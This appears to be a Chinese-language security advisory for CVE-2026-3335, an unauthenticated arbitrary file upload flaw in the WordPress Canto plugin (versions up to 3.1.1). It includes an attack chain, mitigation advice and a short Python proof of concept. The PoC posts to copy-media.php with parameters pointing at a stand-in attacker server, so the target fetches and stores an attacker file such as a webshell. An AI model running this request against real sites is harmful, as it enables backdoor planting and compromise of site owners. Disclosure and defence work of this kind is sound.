IPBUF安全漏洞报告
English
CVE-2026-3335 CVSS 5.3 中危

CVE-2026-3335 WordPress Canto插件权限缺失漏洞

披露日期: 2026-03-21

漏洞信息

漏洞编号
CVE-2026-3335
漏洞类型
权限缺失
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Canto Plugin

相关标签

WordPress插件漏洞权限缺失文件上传CVE-2026-3335

漏洞概述

WordPress Canto插件在3.1.1及之前版本中存在权限缺失漏洞。由于`copy-media.php`等文件缺乏认证和授权检查,未经身份验证的攻击者可以通过构造恶意POST请求,控制API端点和令牌,将任意文件上传到WordPress上传目录,可能导致网站被植入后门或恶意文件。

技术细节

该漏洞源于插件中的`/wp-content/plugins/canto/includes/lib/copy-media.php`文件未进行身份验证即可直接访问。该文件在处理文件上传逻辑时,错误地将用户通过POST参数提交的`fbc_flight_domain`、`fbc_app_api`和`fbc_app_token`作为信任源,而非读取管理员配置的选项。攻击者利用这一点,可以控制整个文件获取和上传的流程,服务器实际上是从攻击者控制的服务器获取文件并上传,绕过了合法的Canto API验证。此外,`detail.php`、`download.php`等端点也存在类似问题。攻击者可利用此漏洞上传符合WordPress MIME类型限制的任意文件(如Webshell伪装成的图片或脚本)。

攻击链分析

STEP 1
侦察
攻击者识别目标WordPress站点使用了Canto插件,且版本在3.1.1及以下。
STEP 2
利用
攻击者向`/wp-content/plugins/canto/includes/lib/copy-media.php`发送特制的POST请求,包含恶意控制的`fbc_flight_domain`和`fbc_app_api`参数。
STEP 3
执行
目标服务器接收请求,由于缺乏权限校验,服务器根据攻击者提供的参数,从攻击者控制的服务器获取文件。
STEP 4
影响
文件被下载并保存到WordPress的上传目录中。攻击者可上传符合MIME类型限制的任意文件,如Webshell。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_url, attacker_domain): """ Exploit CVE-2026-3335 by sending a malicious POST request to copy-media.php. """ # The vulnerable endpoint endpoint = f"{target_url}/wp-content/plugins/canto/includes/lib/copy-media.php" # Malicious POST parameters to control the fetch-and-upload chain payload = { "fbc_flight_domain": attacker_domain, "fbc_app_api": f"{attacker_domain}/api", "fbc_app_token": "arbitrary_attacker_controlled_token" } try: response = requests.post(endpoint, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check the target's uploads directory for the file.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": target = "http://example-wordpress-site.com" evil_server = "http://attacker-controlled-server.com" exploit(target, evil_server)

影响范围

WordPress Canto Plugin <= 3.1.1

防御指南

临时缓解措施
建议暂时禁用Canto插件直至更新补丁,或在Web服务器层面(如Nginx/Apache)配置规则,直接禁止对`/wp-content/plugins/canto/includes/lib/`目录下PHP文件的未授权访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表